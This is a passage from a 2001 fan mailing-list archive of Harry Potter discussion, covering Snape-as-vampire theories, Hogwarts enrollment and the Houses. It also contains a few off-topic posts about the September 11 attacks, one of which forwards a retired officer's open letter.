the north of England. That leaves the South of England for Gryffindor 
to cover, Dartmoor in Devon perhaps?  

Me: I'll allow as how Godric actually IS a Saxon name, but since when 
is Helga a Welsh name?




From catlady at wicca.net  Wed Sep 19 07:18:22 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Wed, 19 Sep 2001 07:18:22 -0000
Subject: Summary: Chamber of Secrets, Chapter 16-18
In-Reply-To: <000101c13ff6$b5a293c0$e9d41a41@breev>
Message-ID: <9o9gru+o4ur@eGroups.com>

No: HPFGUIDX 26286

--- In HPforGrownups at y..., "Genevieve Pratt" <jheen at m...> wrote:
> Chapter 16: Chamber of Secrets

> 2)    At one point, Tom makes the comment that Harry was a lot like
> him. Do you agree or is he entirely commenting on them both being
> half-blood orphans?

We have Tom, we have Harry, who is Dick?

> 6)    We learn a lot about Voldemort in these few chapters. Did you
 > find anything that could possibly make him out to be a little more 
>  human or does he still seem as pure evil as in book one?

Tom Riddle is more  human than Lord Voldemort - V has succeeded
in making himself into a monster, no longer human - but Tom is just
as evil as V: at the age of 16, he was already determined to become
a monster of whom all wizards whom be terrified, and then in GoF we
learn that at 16 he murdered his father and paternal grandparents.  
I can understand why his experiences would lead him to carry a grudge 
against his father, and maybe against all Muggles, but carrying a 
grudge against wizards as well, carrying his grudge to the point of 
murder, and DESIRING to be FEARED, rather than desiring to be ADMIRED 
for doing great things, gave me the impression that he was born a 
psychopath. Being insane sort of confuses the question of whether 
being evil is a choice: Malfoys and Fudges are better examples of 
CHOOSING to be evil.






From lake4fam at earthlink.net  Wed Sep 19 07:39:16 2001
From: lake4fam at earthlink.net (lake4fam at earthlink.net)
Date: Wed, 19 Sep 2001 07:39:16 -0000
Subject: Is  Snape a Vampire?
Message-ID: <9o9i34+8gib@eGroups.com>

No: HPFGUIDX 26287

  I can think quickly of two vampires who could walk by day:  
Barnabas Collins, due to the medical intervention of his doctor, and 
Francis Ragozcy, Count of Saint-Germain, who lines the soles and 
heels of his boot with Transylvanian earth.  Strong sunlight does 
trouble him, but he does not shrivel up and blow away.
  Severus may have a similar protection that allows him to teach by 
day, and to referee Quidditch matches.  Of course, there are very few 
stray beams of sunlight in a dungeon.  By the way, do we ever see 
Snape eat?  If so, I think this dispells the Snape's a Vampire 
theory.  If not, upon what does he sustain himself?
I cannot imagine that Dumbledore would be willing to hire a teacher 
who would regard the student body as a smogasbord.




From A.E.B.Bevan at open.ac.uk  Wed Sep 19 11:03:24 2001
From: A.E.B.Bevan at open.ac.uk (A.E.B.Bevan at open.ac.uk)
Date: Wed, 19 Sep 2001 11:03:24 -0000
Subject: Opinions on Ten Big Mysteries
In-Reply-To: <9o8hft+vhlg@eGroups.com>
Message-ID: <9o9u1s+tvao@eGroups.com>

No: HPFGUIDX 26288

Laura  (justanopinion2001 at h...)  raised some nice points. I dont have 
a lot to contribute on most but a couple of thoughts:

>>>>Laura's point > 3.  In PoA, was Lupin simply sleeping on the 
train, or did Dumbledore ask him to take the train to protect Harry?

Basically its plot convenience but Im sure JKR can (will?) write in a 
good linking theme if it proves to be convenient and important for 
later events. See also comment on point 8  below

>>>>Laura's point > 8.  Are you convinced that you cannot apparate on 
the Hogwarts grounds, or is this a red herring?

Well I wrote out for my own amusement some of the ways this could be 
explained. This as an example for the booklet I am hoping Jo will 
write 'Introduction to Mugge Studies' and how I think some of our 
problems could be magiced away by literary means... hope this doesnt 
stray into off-topic..

Edis 

>>>>>>>>>>>>

Introduction to Muggle Studies.

(Extracts) 

Travel and space

Understanding how Muggles see how the world connects up is a big 
problem for Wizarding people. We have to let go of a lot of our 
assumptions to grasp how limited Muggle perceptions can be ? but 
understanding this is vital for an understanding of how the Wizarding 
world can exist unperceived alongside the Muggle world 

As an example take travel to Hogwarts school. A Muggle given a simple 
explanation of (for example) the Hogwarts Express, the ban on 
apparating in Hogwarts,the apparent inability to link to the Floo 
network,  and the apparent inability to fly in by broomstick from 
long distances away will be in considerable confusion. 

Why for example do Hogwarts students have to go to `London'
to catch a train to Hogwarts? The answer, immediately obvious to 
anyone with a knowledge of the basics of Magical Geometrics, will so 
thoroughly confuse Muggles that they will spend years arguing about 
contradictions and logical impossibilities and come to no (Muggle) 
sensible conclusion whatsoever. Exercise 3B in the associated 
workbook  of this chapter will take you step by step through how 
Muggle Geometrics work to show you how they get to that peculiar 
state of mind.

Another problem will almost certainly be on apparating.  This is more 
understandable, as the magic basics of appartion require a level of 
magical resonance some Wizarding folk find it difficult to grasp. 
Muggles might understand this a little if the Magic is compared to 
the way a Muggle learns to ride a bicycle (see the Bicycle exercises 
in the workbook on having to turn right to go left).  

What a Muggle and some untrained wizards will find extremely 
difficult to grasp here is that because Hogwarts is both present and 
not-present in magical space, and is multiply unplottable, anyone 
attempting apparation automatically ends up at their starting point.  
Muggles, however hard they try to imagine a different order in the 
world, cannot rid themselves of the illusion of somewhere having to 
have an absolute  fixed point in space. 

When it comes to the advanced space-shifting spells (and the 
associated security measures) that allow the `Hogwarts
Express' to exist, or allow apparation-like approaches to
unplottable  location boundaries, matters go right beyond their 
comprehension limits. Muggle  concepts of Quantum Physics are 
oversimplified attempts to grasp these realities.

Advanced students with access to the InfoMagic Grimegoire (restricted 
library rules apply) may want to carry out the suggested exercises in 
the Ministry of Magic's Muggle Diversion Units so-called
`INTERNET'  sites; for example the International Federation
MOM  disinformation site  commonly known in the Muggle world as 
HPForgrownups. The strategies used to  confuse inquisitive Muggles 
will be instructive.

WORKBOOK OF PRACTICAL EXERCISES

***** MOM security spells apply. These pages will appear blank to any 
Muggles who by chance come across them ****** 

Page 1>
>
>
>
page 253  End of workbook<




From kira at kc.rr.com  Wed Sep 19 14:07:47 2001
From: kira at kc.rr.com (Lisa-Ann Cooner)
Date: Wed, 19 Sep 2001 09:07:47 -0500
Subject: Fw: OT  A Military Historian Speaks on Tuesday's Events
Message-ID: <006b01c14114$d79804a0$a473f2d1@LDS>

No: HPFGUIDX 26289

I have been abstaining from posting about the attack on America last week but when I received this, I had to pass it on.  We can not let these attacks tear down the American solidarity or make us fight amongst ourselves.  The only thing any American can to is persevere, remain strong, and have faith.  This letter did more than any news cast or article I have read toward explaining last Tuesday's events.

I don't want to start the discussions all over again, I know we are moving on, but I felt I had to pass this on so that it might explain to others the same things it did to me.

Lisa-Ann


----- Original Message ----- 
  
 From: Dr. Tony Kern, Lt Col, USAF (Ret)
 
 Recently, I was asked to look at the recent events through the lens of
 military history.  I have joined the cast of thousands who have written
 an "open letter to Americans."
 
 
 Dear friends and fellow Americans                 14 September, 2001
 
 Like everyone else in this great country, I am reeling from last week's
 attack on our sovereignty. But unlike some, I am not reeling from surprise.
 As a career soldier and a student and teacher of military history, I
 have a different perspective and I think you should hear it. This war will be
 won or lost by the American citizens, not diplomats, politicians or soldiers.
 
 Let me briefly explain.
 
 In spite of what the media, and even our own government is telling us,
 this act was not committed by a group of mentally deranged fanatics. To
 dismiss them as such would be among the gravest of mistakes. This attack was
 committed by a ferocious, intelligent and dedicated adversary. Don't
 take this the wrong way. I don't admire these men and I deplore their
 tactics, but I respect their capabilities. The many parallels that have been
 made with the Japanese attack on Pearl Harbor are apropos. Not only because
 it was a brilliant sneak attack against a complacent America, but also
 because we may well be pulling our new adversaries out of caves 30 years after
 we think this war is over, just like my father's generation had to do with
 the formidable Japanese in the years following WW II.
 
 These men hate the United States with all of their being, and we must
 not underestimate the power of their moral commitment. Napoleon, perhaps
 the world's greatest combination of soldier and statesman, stated "the
 moral is to the physical as three is to one." Patton thought the Frenchman
 underestimated its importance and said moral conviction was five times
 more important in battle than physical strength. Our enemies are willing -
 better said anxious -- to give their lives for their cause. 
  
 How committed are we America? And for how long?
 
 In addition to demonstrating great moral conviction, the recent attack
 demonstrated a mastery of some of the basic fundamentals of warfare
 taught to most military officers worldwide, namely simplicity, security and
 surprise. When I first heard rumors that some of these men may have
 been trained at our own Air War College, it made perfect sense to me. This
 was not a random act of violence, and we can expect the same sort of
 military competence to be displayed in the battle to come. 
  
 This war will escalate, with a good portion of it happening right here
 in the good ol' U.S. of A.
  
 These men will not go easily into the night. They do not fear us. We
 must not fear them. In spite of our overwhelming conventional strength as
 the world's only "superpower" (a truly silly term), we are the underdog in
 this fight. As you listen to the carefully scripted rhetoric designed to
 prepare us for the march for war, please realize that America is not equipped
 or seriously trained for the battle ahead. To be certain, our soldiers are
 much better than the enemy, and we have some excellent "counter-terrorist"
 organizations, but they are mostly trained for hostage rescues,
 airfield seizures, or the occasional "body snatch," (which may come in handy).
 We will be fighting a war of annihilation, because if their early efforts
 are any indication, our enemy is ready and willing to die to the last man.

 Eradicating the enemy will be costly and time consuming. They have
 already deployed their forces in as many as 20 countries, and are likely living
 the lives of everyday citizens. Simply put, our soldiers will be tasked
 with a search and destroy mission on multiple foreign landscapes, and the
 public must be patient and supportive until the strategy and tactics can be
 worked out.
 
 For the most part, our military is still in the process of redefining
 itself and presided over by men and women who grew up with - and were promoted
 because they excelled in - Cold War doctrine, strategy and tactics.
 This will not be linear warfare, there will be no clear "centers of gravity"
 to strike with high technology weapons. Our vast technological edge will
 certainly be helpful, but it will not be decisive. Perhaps the perfect
 metaphor for the coming battle was introduced by the terrorists
 themselves aboard the hijacked aircraft -- this will be a knife fight, and it will
 be won or lost by the ingenuity and will of citizens and soldiers, not by
 software or smart bombs. We must also be patient with our military  leaders.
 
 Unlike Americans who are eager to put this messy time behind us, our
 adversaries have time on their side, and they will use it. They plan to
 fight a battle of attrition, hoping to drag the battle out until the
 American public loses its will to fight. This might be difficult to
 believe in this euphoric time of flag waving and patriotism, but it is
 generally acknowledged that America lacks the stomach for a long fight. We need
 only look as far back as Vietnam, when North Vietnamese General Vo Nguyen
 Giap (also a military history teacher) defeated the United States of America
 without ever winning a major tactical battle. American soldiers who
 marched to war cheered on by flag waving Americans in 1965 were reviled and
 spat upon less than three years later when they returned. Although we hope
 that Usama Bin Laden is no Giap, he is certain to understand and employ the
 concept. We can expect not only large doses of pain like the recent
 attacks, but also less audacious "sand in the gears" tactics, ranging from
 livestock infestations to attacks at water supplies and power distribution facilities.
 
 These attacks are designed to hit us in our "comfort zone" forcing the
 average American to "pay more and play less" and eventually eroding our
 resolve. But it can only work if we let it. It is clear to me that the
 will of the American citizenry - you and I - is the center of gravity the
 enemy has targeted. It will be the fulcrum upon which victory or defeat will turn.

 He believes us to be soft, impatient, and self-centered. He may be
 right, but if so, we must change. The Prussian general Carl von Clausewitz,
 (the most often quoted and least read military theorist in history), says
 that there is a "remarkable trinity of war" that is composed of the (1) will
 of the people, (2) the political leadership of the government, and (3) the
 chance and probability that plays out on the field of battle, in that order.

 Every American citizen was in the crosshairs of last Tuesday's attack,
 not just those that were unfortunate enough to be in the World Trade Center
 or Pentagon. The will of the American people will decide this war. If we
 are to win, it will be because we have what it takes to persevere through a
 few more hits, learn from our mistakes, improvise, and adapt. If we can do
 that, we will eventually prevail. 
  
 Everyone I've talked to In the past few days has shared a common
 frustration, saying in one form or another "I just wish I could do
 something!" You are already doing it. Just keep faith in America, and
 continue to support your President and military, and the outcome is certain.
 
 If we fail to do so, the outcome is equally certain.
 
 God Bless America
 
 Dr. Tony Kern, Lt Col, USAF (Ret)
 Former Director of Military History, USAF Academy
 

  
 
 
 



[Non-text portions of this message have been removed]




From vderark at bccs.org  Wed Sep 19 14:15:11 2001
From: vderark at bccs.org (Steve Vander Ark)
Date: Wed, 19 Sep 2001 14:15:11 -0000
Subject: Opinions on Ten Big Mysteries
In-Reply-To: <9o9u1s+tvao@eGroups.com>
Message-ID: <9oa99f+alrs@eGroups.com>

No: HPFGUIDX 26290

--- In HPforGrownups at y..., A.E.B.Bevan at o... wrote:

> 
> Introduction to Muggle Studies.
> 
> (Extracts) 

This is absolutely brilliant. I have to admit, much to my dismay, 
that the workbook pages at the end did appear blank to me. I had been 
harboring this little whimsical notion that I might just possibly 
have magical blood in me. Sadly, this is not the case, apparently.

Steve Vander Ark
The Harry Potter Lexicon
http://www.i2k.com/~svderark/lexicon




From neptune_1984 at yahoo.com  Wed Sep 19 14:34:09 2001
From: neptune_1984 at yahoo.com (Bean Shadow)
Date: Wed, 19 Sep 2001 14:34:09 -0000
Subject: The Potters Fame
Message-ID: <9oaad1+i3su@eGroups.com>

No: HPFGUIDX 26291

I apologize if this has been discussed before.

Were the Potters famous before the demise of Voldemort? Or are they 
famous simply because they were killed by Voldemort, except for 
Harry? 




From rowena_grunnion_ffitch at yahoo.com  Wed Sep 19 15:09:30 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Wed, 19 Sep 2001 08:09:30 -0700 (PDT)
Subject: [HPforGrownups] Re: Is  Snape a Vampire?
In-Reply-To: <9o9i34+8gib@eGroups.com>
Message-ID: <20010919150930.50904.qmail@web20804.mail.yahoo.com>

No: HPFGUIDX 26292

--- lake4fam at earthlink.net wrote:

> do we ever see 
> Snape eat?  If so, I think this dispells the Snape's
> a Vampire  theory.

    Well he's at his place at the high table for
meals, unlike Professor Trelawney, and surely somebody
would say something if he just sat there not eating.

  If not, upon what does he sustain himself?
> I cannot imagine that Dumbledore would be willing to
> hire a teacher 
> who would regard the student body as a smogasbord.

    Interestingly we have Hagrid's word that 'Snape
would never try to kill a student.' 

__________________________________________________
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From deeblite at home.com  Wed Sep 19 15:11:30 2001
From: deeblite at home.com (Deeblite)
Date: Wed, 19 Sep 2001 11:11:30 -0400
Subject: [HPforGrownups] Re: Summary: Chamber of Secrets, Chapter 16-18
In-Reply-To: <9o9gru+o4ur@eGroups.com>
References: <9o9gru+o4ur@eGroups.com>
Message-ID: <20010919151124.MDMQ16302.femail22.sdc1.sfba.home.com@there>

No: HPFGUIDX 26293

On Wednesday 19 September 2001 03:18, you wrote:
> --- In HPforGrownups at y..., "Genevieve Pratt" <jheen at m...> wrote:
> > Chapter 16: Chamber of Secrets
> >
> > 2)    At one point, Tom makes the comment that Harry was a lot like
> > him. Do you agree or is he entirely commenting on them both being
> > half-blood orphans?
>
> We have Tom, we have Harry, who is Dick?
>

The Basilisk

-- 
Deeblite
spoony []
Variant(s): or spoon?ey []/'sp?-nE/
Function: adjective
Inflected Form(s): spoon?i?er; -est
Etymology: English slang spoon simpleton
Date: circa 1812
1 : SILLY, FOOLISH; especially : unduly sentimental
2 : being sentimentally in love




From rowena_grunnion_ffitch at yahoo.com  Wed Sep 19 15:39:21 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Wed, 19 Sep 2001 08:39:21 -0700 (PDT)
Subject: [HPforGrownups] Opinions on Ten Big Mysteries
In-Reply-To: <9o8hft+vhlg@eGroups.com>
Message-ID: <20010919153921.48736.qmail@web20807.mail.yahoo.com>

No: HPFGUIDX 26294



--- justanopinion2001 at hotmail.com wrote:

> 1.  Is Snape a vampire, half-vampire, or just a
wizard?

    Just a wizard. I see no reason to assume
otherwise.

> 2.  Among Snape, Bagman, Karkarov and Fudge, who are
Death Eaters, 
> and which DE is too cowardly to return and which DE
> has left forever?

   Don't know how Fudge got on the the list, he's no
Death Eater. The coward was Karkaroff; the one who'd
left Voldemort is Snape; and Bartemius Crouch jr. is
the one who's remained loyal and already reentered
Voldemort's service.
I think Bagman really was just a stooge and not a real
Death Eater.

> 3.  In PoA, was Lupin simply sleeping on the train,
> or did Dumbledore 
> ask him to take the train to protect Harry?

   I think he's just on the train because it's a
convenient way to get to Hogwarts. He ends up in the
same compartment as HRH because nobody else wants to
sit with a sleeping teacher. Now whether he really was
asleep the whole time is another question.....

> 4.  How many students are at Hogwarts?

    Approximately two hundred eighty. Each entering
class averages forty students which tend to be
assigned to the four houses in roughly equal
proportions. Multiply that by seven years and you get
two hundred eighty students. Add in teaching and other
staff and you probably get a total, excluding ghosts
and house elves, of three hundred or so.
   The Lexicon lists some evidence for a larger number
but all can be explained otherwise. The 'hundred'
carriages used to transport returning students from
the train probably transport the luggage as well. The
two hundred Slytherin supporters in the Quidditch
stands probably included parents and alumni. And the
seating for about twelve hundred at the Yule ball was
doubtless meant to include outside guests as well as
the student body.
   
> 5.  Does Snape really want the DADA job?

   Well the students think he does but there is no
direct evidence. Considering the difficulties he's
having getting and keeping a DADA instructor and that
he trusts Snape it seems odd Dumbledore wouldn't give
him the job if he wanted it.

> 6.  Does Trelawney have any predictive powers aside
> from the two 
> correct predictions Dumbledore acknowledges?

    No. The rest is all coincidence and/or self
fulfilling prophecies.

> 7.  In GoF, why is Wormtail performing magic with
> Voldemort's wand, 
> and does Wormtail still have his own wand?

    Darned if I know.

> 8.  Are you convinced that you cannot apparate on
> the Hogwarts 
> grounds, or is this a red herring?

    I believe it's true.

> 9.  Why don't Fred, George or Harry see or notice
> Pettigrew on the  Marauder's Map?

   Why should they? There are hundreds of little dots
they'd have no reason to look and see who was in the
Gryffindor dorms, nor would the name Peter Pettigrew
mean anything to them if they saw it.

> 10.  In what order and by whom are James, Lily and
> Harry attacked?

   By Voldemort, James first, then Lily and finally
Harry. Anything else is just too complicated.

__________________________________________________
Terrorist Attacks on U.S. - How can you help?
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From nlpnt at yahoo.com  Wed Sep 19 15:40:25 2001
From: nlpnt at yahoo.com (nlpnt at yahoo.com)
Date: Wed, 19 Sep 2001 15:40:25 -0000
Subject: JKR's humor eclipses Le Guin in book review
In-Reply-To: <9o5hf4+eupu@eGroups.com>
Message-ID: <9oae99+87ss@eGroups.com>

No: HPFGUIDX 26295

--- In HPforGrownups at y..., blpurdom at y... wrote:
> In what is ostensibly a review of Ursula K. Le Guin's new book (an 
> Earthsea followup) <snip> 
> "All that's lacking basically, is humor.  Potter brought it home to 
> me, and so did my famously, gleefully flatulent 7-year-old.  When 
he 
> saw the title, 'The Other Wind,' he snatched the book up.  'Is this 
> book what I think it's about?' he asked, grinning hugely.  Well, 
no, 
> but it's still a good read."
> 
> LOL!  I'll bet her son's favorite characters are Gred and Forge.
> 
> Read the whole review here:
> 
> http://inq.philly.com/content/inquirer/2001/09/16/books/OTHER16.htm
> 
> --Barb


Hmmm.... a book called "The Other Wind" and about...what that kid 
thought it was about, would seem to be more Dav Pilkey's style than 
either LeGuin's or JKR's.

I can just see it now; "Captain Underpants and the Attack of the 
Giant Gas Monster"!




From fourfuries at aol.com  Wed Sep 19 17:07:51 2001
From: fourfuries at aol.com (fourfuries at aol.com)
Date: Wed, 19 Sep 2001 17:07:51 -0000
Subject: Fw: OT  A Military Historian Speaks on Tuesday's Events
In-Reply-To: <006b01c14114$d79804a0$a473f2d1@LDS>
Message-ID: <9oajd7+s4di@eGroups.com>

No: HPFGUIDX 26296

--- In HPforGrownups at y..., "Lisa-Ann Cooner" <kira at k...> wrote:
> ----- Original Message ----- 
>   
>  From: Dr. Tony Kern, Lt Col, USAF (Ret)
>  
> >  How committed are we America? And for how long? It is
> >generally acknowledged that America lacks the stomach for a long 
> >fight. We need only look as far back as Vietnam, when North 
> >Vietnamese General Vo Nguyen Giap (also a military history 
> >teacher) defeated the United States of America without ever 
> >winning a major tactical battle. 

I am reminded of Mr. H. Potter, who once observed,(and I 
paraphrase), "it is different when they are trying to kill you."

4FR




From sgallag4 at hotmail.com  Wed Sep 19 17:34:36 2001
From: sgallag4 at hotmail.com (sgallag4 at hotmail.com)
Date: Wed, 19 Sep 2001 17:34:36 -0000
Subject: Is  Snape a Vampire? Who would he kill?
In-Reply-To: <20010919150930.50904.qmail@web20804.mail.yahoo.com>
Message-ID: <9oakvc+ei2d@eGroups.com>

No: HPFGUIDX 26297


>Well he's at his place at the high table for meals, unlike Professor 
>Trelawney, and surely somebody would say something if he just sat 
>there not eating.
> 
>If not, upon what does he sustain himself? I cannot imagine that 
>Dumbledore would be willing to hire a teacher who would regard the 
>student body as a smogasbord.

If Snape *IS* a Vampire, which is obviously TBD, as potions master, he 
could theoretically devise a fake-blood potion or other potion to 
conceal his Vampirism and limit his threat to others.  
 
>Interestingly we have Hagrid's word that 'Snape would never try to 
>kill a student.' 

Should we take this to mean that Hagrid knows who Snape *would* kill, 
or has killed?  This could be a clue as to what information Hagrid has 
about Snape's past.





From borg3892000 at yahoo.com  Wed Sep 19 20:41:43 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Wed, 19 Sep 2001 20:41:43 -0000
Subject: HPGalleries trading card update today
Message-ID: <9oavu7+qbis@eGroups.com>

No: HPFGUIDX 26298

If anyone collects the trading card pics from hpgalleries, they 
updated it today with Hermione's card.  It's only up today, on her 
birthday.






From joym999 at aol.com  Wed Sep 19 20:59:05 2001
From: joym999 at aol.com (Joy M)
Date: Wed, 19 Sep 2001 20:59:05 -0000
Subject: my last OT post, I promise
Message-ID: <9ob0up+ijo8@eGroups.com>

No: HPFGUIDX 26299

One of the most painful and poignant parts of last week's tragedy, 
for me, has been reading the biographies of the victims that appear 
every day in the paper.  Little things make me cry ? the man on the 
DC-LA flight who, with his wife and kids, recently moved to Virginia, 
and was on his way back to LA to pick up the family's golden 
retriever.  The people who called and faxed and e-mailed their 
families that there was a fire and they were evacuating the WTC and 
were never heard from again.  The DC school kids and teachers on a 
National Geographic-sponsored trip, who must have been so proud to 
have been chosen.

I read today about a woman named Rhonda Rasmussen who worked at the 
Pentagon, who with her husband was planning on moving to California.  
According to today's Washington Post: "He will go to California alone 
now, and he won't have Rhonda to read to him along the way.  `She 
read to me, anything,' Floyd Rasmussen said.  `We just started 
reading Harry Potter; we'd read to each other or she'd read as we 
drove.' "

--Joywitch




From tia__bella at hotmail.com  Wed Sep 19 23:01:37 2001
From: tia__bella at hotmail.com (tia__bella at hotmail.com)
Date: Wed, 19 Sep 2001 23:01:37 -0000
Subject: Hermione's birthday!
Message-ID: <9ob84h+8c48@eGroups.com>

No: HPFGUIDX 26300

happy birthday hermione! according to an interview I read with JK 
Rowling, it's her big day today!




From coriolan at worldnet.att.net  Wed Sep 19 23:08:24 2001
From: coriolan at worldnet.att.net (Caius Marcius)
Date: Wed, 19 Sep 2001 23:08:24 -0000
Subject: Opinions on Ten Big Mysteries
In-Reply-To: <20010919153921.48736.qmail@web20807.mail.yahoo.com>
Message-ID: <9ob8h8+58gh@eGroups.com>

No: HPFGUIDX 26301

--- In HPforGrownups at y..., Rowena Grunnion-Ffitch 
<rowena_grunnion_ffitch at y...> wrote:
> 
> 
> > 4.  How many students are at Hogwarts?
> 
>     Approximately two hundred eighty. 

> 
> > 9.  Why don't Fred, George or Harry see or notice
> > Pettigrew on the  Marauder's Map?
> 
>    Why should they? There are hundreds of little dots
> they'd have no reason to look and see who was in the
> Gryffindor dorms, nor would the name Peter Pettigrew
> mean anything to them if they saw it.

It seems to me that the failure to detect Pettigrew on the map would 
argue for a larger student body. If there were a thousand students 
plus all the staff and house-elves, it would be easier for Pettigrew 
to escape detection.

   - CMC




From nethilia at yahoo.com  Wed Sep 19 23:17:04 2001
From: nethilia at yahoo.com (Nethilia De Lobo)
Date: Wed, 19 Sep 2001 16:17:04 -0700 (PDT)
Subject: Discussion: Sorting Hat, Founders, and the Hogwarts Houses
In-Reply-To: <1000807580.692.69520.l10@yahoogroups.com>
Message-ID: <20010919231704.82538.qmail@web14604.mail.yahoo.com>

No: HPFGUIDX 26302

1)	The classic question: (Did you really think we
could have an
essay on Houses and not bring this up?) Slytherin
House: evil or just
bad press? 

Bad press. Hey, I'm not evil and I've been known to
have more than few Slytherin leanings (But I'm still a
solid Ravenclaw!) 

2)	What houses do you think some of the people
belonged to when
they went to Hogwarts? Such as, what house produced
batty ol' Trelawney
anyways? 

Well, we know about Voldie, Hagrid, and James for a
few. Trelawney seems like a Slytherin..it takes a lot
of ambition and cunning to be believed when you are
lying out of your teeth. Sinistra is Probably a
Ravenclaw, Hooch seems like a Hufflepuff. 


3)	How does the Sorting Hat sort? For example, what
sort of process
does it use that ends up with Hermione in Gryffindor?
(Disclaimer: I'm
not saying she should be elsewhere, but considering
how she was in the
beginning of PS, I think she would have been happier
at first in
Ravenclaw where being smart is cool and not in
Gryffindor where she was
teased for being a know-it-all.)

Well it takes a lot of bravery to go into a house
where you're not sure if you'll fit in, Sure, the
Ravenclaws would have welcomed her openly, but what
kind of challenge would that be? I like to think the
Hat sorts you more by what you want to be and what
would be best revealed than by what you are. 

4)	JKR has said there is more to the Sorting Hat than
is apparent.
What sort of things do you think we'll see the Hat
involved with?

Mebbe more pointy things will come out of it!! 

5)	How important do you think is the fact that the
Sorting Hat used
to be Godric Gryffindor's?

I think it might have a bias. After all, they could
have used anyone' s hat, but Godric insisted. Sounds
like he was the Alpha male. 

6)	Do you think we'll find out more about the Founders
as the
series continues and what do you think we'll learn?

I hope we learn more about why Salazar got such bad
press, and Rowena and Helga too. 

7)	What did Salazar Slytherin hope to accomplish with
his building
of the Chamber of Secrets? Do you think the chamber
had some other
purpose beyond having a giant creature available to
kill Muggle born
wizards, perhaps to be used in defense of the school? 

Defence would be good, but it would take a Parsel
mouth to control it...so no. And a Pure blood and
Muggle born probably don't look any different except
the nose in the air..so no. I think it was just more
of a "Fine, I'll leave, but you won't like what I left
in your shoe when you find it!" attitude that prompted
the Chamber. 

8)	We haven't seen much of either Ravenclaw or
Hufflepuff in the
first four books. Do you think they will end up
playing a more 
important
role later?

Oh, I hope so, they get such bad press. 

9)	What do you think the reasons are for the colors
and animals of
the different houses? You can choose to answer this
either from JKR's
perspective (i.e. the mythological reasons) or from
the Founders (like
Slytherin being a Parselmouth.)

Godric roared and stomped around a lot, and liked
bright colors that looked royal. 
Salazar picked Green and gold just to be opposite of
Godric. 
Rowena was into cool colors (as opposed to warm) and
blue's pretty cool. She liked mettalics too, but since
Salazar and Godric took the first two metals she had
to settle for bronze. As for the Eagle--she hoped
soaring above the petty differences in students would
one day make them all a united force. 
Helga liked Yellow, it's warm like the sun, and Black
is like dirt. And when the going get's rough, you dig
a hole and hide in it and come out when things have
calmed down. Like a Badger. 

10)	Do the other wizardly schools have houses or is
this something
just with Hogwarts?

They might, if it's based off the Hogwarts model. But
they may have more or fewer, and based on differnet
qualities. 

>> Well, I think that's enough questions, I already
deleted a bunch of
questions because they were a bit silly. <<

You should see the discussion at Fictionalley Park
that prompted my listing of the underwear every
character wears. 

--Neth

Charlie: Who has time for underwear when there's
dragons!? 

=====
--Nethilia de Lobo--
79% obsessed with Harry Potter
Wand: Dragon Heartstring, Ash, 7 inches
**Draco Dormiens Nunquam Titillandus.**

http://www.geocities.com/spenecial
Spenecial.com. Two girls. One Website. Total Chaos.

__________________________________________________
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Donate cash, emergency relief information
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From caliburncy at yahoo.com  Thu Sep 20 02:13:08 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Thu, 20 Sep 2001 02:13:08 -0000
Subject: Opinions on Ten Big Mysteries
In-Reply-To: <9o8hft+vhlg@eGroups.com>
Message-ID: <9objbk+t76e@eGroups.com>

No: HPFGUIDX 26303

I'm finding less time to post here than I had a while ago so I'm not 
getting to write a lot of the things I'd like.  But I figured I'd go 
ahead and cash in my opinion on this quickly (or perhaps not so 
quickly).

--- In HPforGrownups at y..., justanopinion2001 at h... wrote:
> 1.  Is Snape a vampire, half-vampire, or just a wizard?

Just a wizard.  I believe all the vampiric-sounding descriptions are 
just characterization and I believe the reason they are so often 
recurring is because pretty much the majority of JKR's character 
descriptions are recurring, if you think about it.  She seems to 
paraphrase her descriptions from previous novels in each new novel to 
bring readers that haven't read the prequels up to speed.  And she 
does this repetion of certain phrases for several characters, not just 
Snape.  So the fact that she mentions in pretty much every book the 
bat-like quality of Snape may not be any more significant than any 
other repeated descriptions.  But that's just my take.  I suppose it 
could be something more.

> 2.  Among Snape, Bagman, Karkarov and Fudge, who are Death Eaters, 
> and which DE is too cowardly to return and which DE has left 
> forever?

Karkaroff is too cowardly to return and Snape has left forever.  I 
have yet to be truly convinced that this point is particularly 
debatable at all--though I may be eating my words later on, because 
for me to say this is to not maintain my normal stance of never making 
any assumptions.

I don't think Bagman is a DE and all the suspicion cast upon him seems 
to have been intended solely for that book, not to carry on to future 
books.  After all, the point of that from a foreshadowing point of 
view was to cast suspicion on him as the loyal servant instead of 
Moody/Crouch, Jr.  Don't imagine Fudge will turn out to be a DE 
either, just a blinded politician.  Someone mentioned a quote (which I 
forget the exact wording of) that you shouldn't assume evil intentions 
where stupidity is sufficient explanation.

> 3.  In PoA, was Lupin simply sleeping on the train, or did 
> Dumbledore ask him to take the train to protect Harry?

He took the train perhaps because he's either too poor or too weak 
(what time of the month was it at?--I don't remember) to manage any 
other form of transportation to Hogwarts.  I'm pretty sure he really 
was sleeping (again this could be explained if he was in a weakened, 
near-time-for-transformation state).

But I don't think his lack of responses to the comments made by the 
trio about him are proper evidence that he was sleeping.  We see later 
that he is generally unaffected or at least unresponsive to insults.  
However, I *do* think his sleeping is possible evidence that he's not 
there to protect Harry, because I don't see what end it serves for him 
to feign sleep in that instance (he could accomplish this just as 
effectively without the ruse--unless he was baiting someone, which I 
doubt) and it certainly wouldn't be like him to sleep on the job.

> 4.  How many students are at Hogwarts?

I'm willing to accept 1000, because JKR has confirmed it, but contend 
that the evidence is rather contradictory.  But of course that means 
it is contradictory for lower numbers too, which is why this is an 
unsolvable math problem, IMHO.

> 5.  Does Snape really want the DADA job?

No, no, and again, no.  I'm fairly confident that this will be later 
exposed as untrue somehow.  JKR is rather pointed each time that it is 
a rumor among the students, but she also tries to get us to assume 
it's true anyway.  Always use CONSTANT VIGILANCE against these hasty 
assumptions.  If Snape wanted really this job, why does Hagrid say 
that the only reason they hired Lockhart was that there was nobody 
else willing to take the position?  So, anyway, what's the point of 
this rumor then?  You could argue it was just characterization to cast 
suspicion on him in the first book.  But then why continue bringing it 
up in later books when it's not really necessary as characterization 
after that?  That's why I imagine this will become important later.

> 6.  Does Trelawney have any predictive powers aside from the two 
> correct predictions Dumbledore acknowledges?

As I've said in the past, I believe Trelawney is a True Seer who does 
